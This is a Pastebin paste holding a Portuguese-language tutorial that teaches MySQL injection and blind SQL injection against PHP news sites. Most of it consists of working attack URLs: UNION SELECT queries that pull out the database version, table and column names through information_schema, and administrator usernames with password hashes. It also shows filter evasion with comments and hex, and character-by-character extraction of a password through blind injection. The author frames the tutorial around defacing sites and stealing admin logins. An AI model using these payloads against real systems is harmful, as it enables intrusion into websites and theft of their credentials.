Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Titulo : MySQL Injection Tutorial
- Autor : fvox (Júnior)
- Data : 11.02.2009
- ##########################
- Índice - MySQL Injection
- ##########################
- SQL Injection
- [0x00] - Sobre o ataque
- [0x01] - Onde acontece
- [0x10] - Verificando a vulnerabilidade
- [0x11] - Atacando!
- [0x12] - Capturando dados
- [0x13] - MySQL Dump
- [0x14] - Burlando filtros
- Blind Injection
- [0x00] - Sobre o ataque
- [0x10] - Verificando a vulnerabilidade
- [0x12] - Achando uma tabela
- [0x13] - Achando uma coluna
- [0x14] - Capturando dados
- #########################
- [0x00] - Sobre o ataque
- #########################
- Antes de começar o tutorial, eu recomendo que você tenha uma noção sobre SQL, nem que seja
- uma noção mínima para não ter dificuldade em entender o funcionamento de um ataque em um site
- vulnerável a (Blind) MySQL Injection
- O único requerimento para este ataque é um browser comum. Inicialmente voc?s não precisarão
- de scanners ou tools para explorar a falha, portanto, procure ENTENDER o que está escrito aqui
- pois creio que atualmente, esta é a falha mais encontrada na internet, porém não é a mais fácil
- de explorar e fazer o deface em um web site. Vocês não terão uma phpshell em mãos onde só irão
- clicar no botãozinho e a phpshell altera "automaticamente" a index de um site, como acontece em
- falhas de include (Local File Inclusion e Remote File Inclusion).
- ########################
- [0x01] - Onde acontece
- ########################
- Como alguns de vocês devem saber, este tipo de ataque não depende da linguagem de programação
- do script (a correção da falha depende), e sim do banco de dados SQL, ou seja, você pode encontrar
- a vulnerabilidade em um site feito em PHP, mas também pode encontrar em um site feito em ASP.
- No caso desta matéria, irei abordar os ataques em um servidor MySQL e PHP. A falha também não
- depende do tipo da requisição, ou seja, é possível encontrar vuln em requests GET, POST, e o que
- seja manipulável pelo cliente. Nesta matéria eu irei exemplificar com requisições GET, já que é
- a mais manipulável e a melhor para usar nas explicações. Eu usarei um sistema de notícias que
- pega o ID da notícia via GET durante toda a matéria.
- -------------------------------
- SQL INJECTION ATTACK
- -------------------------------
- ########################################
- [0x10] - Verificando a vulnerabilidade
- ########################################
- SQL Injection só é possível quando o site te informa qual o erro que o banco de dados caso
- não seja possível fazer a consulta no banco de dados. Por exemplo:
- <?php
- $id = $_GET['id'];
- $q = "SELECT * FROM noticias WHERE id = '$id'";
- $r = mysql_query($q) or die(mysql_error());
- ?>
- Como vimos ali, caso não seja possível enviar a consulta ao MySQL, o script é
- interrompido exibindo a mensagem de erro da operação enviada ao MySQL. Se eu entrar em
- http://www.fvox.com/noticias.php?id=10%27 (lembrando que %27 equivale a uma aspa simples ').
- A query a ser enviada seria a seguinte:
- SELECT * FROM noticias WHERE id = '10''
- A aspa inserida na URL iria modificar a sintaxe da consulta, então a função mysql_error()
- retornaria algo parecido com:
- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
- version for the right syntax to use near ''10''' at line 14
- É claro que o servidor pode emitir outros erros, mas desde que exiba um erro, já é
- alguma coisa para que você possa realizar seus penetration tests com grande esperança,
- o que te motiva bastante.
- ####################
- [0x11] - Atacando!
- ####################
- Depois de ver que o site está vulnerável, o próximo passo é descobrir a quantidade de
- colunas da tabela noticias. Isso é possível utilizando a cláusula "order by", que não irei
- explicar para que serve porque como já disse no início da matéria, estou escrevendo para
- usuários que já tem experiência com MySQL e não para o Sander e outros saírem por aí pixando
- o site de todo mundo, AUHAUHAUHAU.
- SELECT * FROM noticias WHERE id = '$id' order by 1/* Ignora o resto da query
- http://www.fvox.com/noticias.php?id=10 order by 1/* Não deu erro
- http://www.fvox.com/noticias.php?id=10 order by 2/* Não deu erro
- http://www.fvox.com/noticias.php?id=10 order by 3/* Não deu erro
- http://www.fvox.com/noticias.php?id=10 order by 4/* DEU ERRO! Unknown column '4' in 'order clause'
- É só ir dando order by até dar erro, cada site em um número de colunas diferentes, não
- pensem que vocês irão realizar o ataque com quatro colunas em todos os sites.
- Com base nos erros enviados pelo site, pudemos perceber que a tabela noticias do nosso site
- imaginário possui três colunas, e será com elas que iremos trabalhar.
- ###########################
- [0x12] - Capturando dados
- ###########################
- Agora iremos utilizar o operador UNION, que também não irei explicar para que serve...
- Essa porra tá com 110 linhas e eu ainda nem cheguei na metade, puta que pariu.
- SELECT * FROM noticias WHERE id = '$id' union all select 1,2,3--
- http://www.fvox.com/noticias.php?id=-1 union all select 1,2,3--
- Quando você injetar isso na URL, o site irá imprimir um "número" na tela, seja ele 1, 2
- ou 3. Se o site mostrou um 2 na tela, substituia o número 2 por "@@version". O site irá
- imprimir a versão do banco de dados na tela.
- Se colocarmos database() no lugar do 2, o site irá imprimir o nome do banco de dados
- em que a tabela está.
- http://www.fvox.com/noticias.php?id=-1 union all select 1,@@version,3--
- 5.1.30-gpl-log
- http://www.fvox.com/noticias.php?id=null union all select 1,database(),3--
- fvox (digamos que o nome do db imaginário seja fvox, LOL)
- Agora vem uma parte chata. Você terá que chutar o nome da tabela! Isso mesmo, você
- terá que adivinhar o nome da droga da tabela. Você pode tentar admin, users, usuarios,
- membros, cadastros, administrador, etc.
- Caso a versão do MySQL seja 5.xxxx, você pode recorrer a uma técnica chamada
- MySQL Dump, onde você consegue o nome das tabelas e colunas por meio da tabela
- information_schema. Se a versão do MySQL for 4 e você não conseguir adivinhar
- o nome da tabela, desista do site. Como eu usei a versão 5.1.30-gpl-log como exemplo
- desta matéria, eu irei abordar como "dumpar" as tabelas e colunas mais para frente.
- http://www.fvox.com/noticias.php?id=-1 union all select 1,2,3 from users-- Table
- 'fvox.users'doesn't exist
- http://www.fvox.com/noticias.php?id=-1 union all select 1,2,3 from admin-- Não deu erro!
- Deste modo, chegamos a conclusão de que há uma tabela chamada admin, que certamente
- guarda dados do administrador e que este tutorial está ficando muito grande pro meu gosto.
- Agora que descobrimos a tabela, iremos novamente nos foder para descobrir o nome das colunas
- para pegar as informações do admin.
- http://www.fvox.com/noticias.php?id=-1 union all select 1,user,3 from users-- Erro
- http://www.fvox.com/noticias.php?id=-1 union all select 1,concat_ws(0x3a,username,password),3 from
- users-- FUNFOU!
- fvox:536facb9b05a48e2adb15866353b62ee
- A função concat_ws é só para organização mesmo. O "ws" no nome da função significa with
- separator. Todos as colunas no parametro da função serão exibidas na página com o separador ":".
- Neste caso, o site imprimiu os dados da coluna USERNAME e coluna PASSWORD com o separador.
- #####################
- [0x13] - MySQL Dump
- #####################
- O famoso "Dump" é uma técnica disponível apenas em servidores que utilizam MySQL na sua
- versão 5.xxx. A utilidade do Dump é que você não precisará ficar chutando o nome das tabelas
- e nem o nome das colunas, graças ao information_schema. Primeiramente, vamos listar o nome
- das tabelas do banco de dados:
- http://www.fvox.com/noticias.php?id=-1 union all select 1,table_name,3 from information_schema.tables--
- Para obter o nome das colunas é quase a mesma coisa:
- http://www.fvox.com/noticias.php?id=-1 union all select 1,column_name,3 from information_schema.columns--
- http://www.fvox.com/noticias.php?id=-1 union all select 1,column_name,3 from information_schema.columns
- where table_name='admin'--
- ###########################
- [0x14] - Burlando filtros
- ###########################
- Como vocês já sabem, em toda parte do mundo há programadores burros, ou melhor, MUITO burros.
- Já encontrei filtros ridículos por aí (não só filtros para SQL Injection). Alguns programadores removem
- os espcaços da URL ou fazem uma verificação feia. Porém, este tipo de filtro é extremamente
- fácil de ser burlado.
- Nós podemos substituir os espaços da URL por "/**/" e inserir o número das colunas em hex. Para
- vocês entenderem melhor, vou exemplificar:
- http://www.fvox.com/noticias.php?id=-1 union all select 1,concat_ws(0x3a,username,password),3 from
- users--
- http://www.fvox.com/noticias.php?id=-1/**/union/**/all/**/select/**/0x31,concat_ws(0x3a,username,password),0x33/**/from
- /**/users--
- Fim do tutorial sobre SQL Injection.
- ---------------------------------
- BLIND SQL INJECTION ATTACK
- ---------------------------------
- #########################
- [0x00] - Sobre o ataque
- #########################
- Como eu já expliquei acima, SQL Injection é uma técnica baseada nos erros que o script
- que realiza a conexão nos mostra em caso de erro. A principal diferença entre o SQL
- Injection normal e o Blind SQL Injection é que em Blind, não necessitamos das informações
- que o servidor nos mostra.
- É por isso que o nome do ataque é "Blind Injection" (Injeção cega em português). Nós apenas
- injetamos algo e o servidor retorna apenas valores booleanos (true ou false) durante o ataque.
- ########################################
- [0x10] - Verificando a vulnerabilidade
- ########################################
- Nesta parte da matéria, eu usarei como exemplo este script:
- <?php
- /* [...] */
- $id = $_GET['id'];
- $sql = "SELECT * FROM noticias WHERE id = '$id'";
- $q = mysql_query($sql);
- $r = @mysql_fetch_row($q);
- /* [...] */
- ?>
- Como pudemos ver, o script esconde os erros da função mysql_fetch_row() utilizando
- o operador de controle de erro "@" antes de chamar a função. Muitos programadores
- acreditam que assim eles estarão seguros, mas é aí que eles se enganam, mWhahHaHAhaHa.
- Para verificar se um site está ou não vulnerável, nós adicionados uma string na URL.
- Se a página retorna o valor true, a página é exibida normalmente. Se a página retornar
- false, não deve ser exibido a consulta na página (no caso, a notícia).
- TRUE: http://www.fvox.com/noticias.php?id=1 AND 1=1
- FALSE: http://www.fvox.com/noticias.php?id=1 AND 1=0
- ####################
- [0x12] - Achando uma tabela
- ####################
- Seguindo o exemplo da matéria sobre SQL Injection, vou manter a tabela 'admin'. O
- exemplo abaixo retorna FALSE porque não existe uma tabela chamada "users".
- http://www.fvox.com/noticias.php?id=1 AND(SELECT Count(*) FROM users)
- Agora se tentarmos com a tabela 'admin' o site retornaria TRUE:
- http://www.fvox.com/noticias.php?id=1 AND(SELECT Count(*) FROM admin)
- #############################
- [0x13] - Achando uma coluna
- #############################
- Pegar o conteúdo de uma coluna é bem fácil. O problema, como sempre, é capturar
- o nome dela. Essa história de ficar adivinhando o nome das tabelas e coluna é chata!
- O exemplo abaixo retorna FALSE porque a coluna "nick" não existe:
- http://www.fvox.com/noticias.php?id=1 AND(SELECT Count(nick) FROM admin)
- Ainda seguindo o exemplo da outra parte da matéria, temos a coluna username e
- a coluna password dentro da tabela admin. E então, ao usar Count(password), o site
- retornará true, avisando que a coluna PASSWORD existe:
- http://www.fvox.com/noticias.php?id=1 AND(SELECT Count(password) FROM admin)
- ###########################
- [0x14] - Capturando dados
- ###########################
- Para pegar o conteúdo de uma coluna, nós temos que adivinhar outra coisa, mas
- dessa vez é algo mais simples. Temos que adivinhar a quantidade de caracteres que
- o valor dessa coluna possui.
- Por exemplo, se a senha do admin que está na coluna PASSWORD da tabela ADMIN é
- "synyster", vimos que esta senha possui 8 caracteres. Agora vamos montar o exploit:
- http://www.fvox.com/noticias.php?id=1 AND(SELECT length(password) FROM admin where
- id=1)=4 //FALSE
- http://www.fvox.com/noticias.php?id=1 AND(SELECT length(password) FROM admin where
- id=1)=6 //FALSE
- http://www.fvox.com/noticias.php?id=1 AND(SELECT length(password) FROM admin where
- id=1)=8 //TRUE
- Agora que já sabemos quantos caracteres a senha do administrador tem, nós
- precisamos pegar caractere por caractere. Acho que é a pior parte. Eu recomendo que
- vocês programem um script que teste caractere por caractere, porque fazer na mão
- vai ser foda!
- Por exemplo, o valor da letra "f" em ascii é 102. E então, vou fazer a verificação
- para ver se a primeira letra da coluna PASSWORD da tabela ADMIN é "f":
- http://www.fvox.com/noticias.php?id=1 AND ascii(substring((SELECT concat(password) from
- admin limit 0,1),1,1))=102
- Neste caso, o site iria retornar false, pois como citei no exemplo acima, a senha
- do admin é "synyster". Se eu tivesse colocado o valor da letra "s" ali, o site iria
- retornar true. Agora, para exemplificar melhor, eu irei pegar o segundo caractere:
- http://www.fvox.com/noticias.php?id=1 AND ascii(substring((SELECT concat(password) from
- admin limit 0,1),2,1))=121
- O site retornou TRUE, pois o segundo caractere é 121 (y). Realmente é bem chato ficar
- testando caractere por caractere, mas há diversas tools por ai que facilitam este trabalho.
- Fim do tutorial.
- Atenciosamente,
- fvox.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement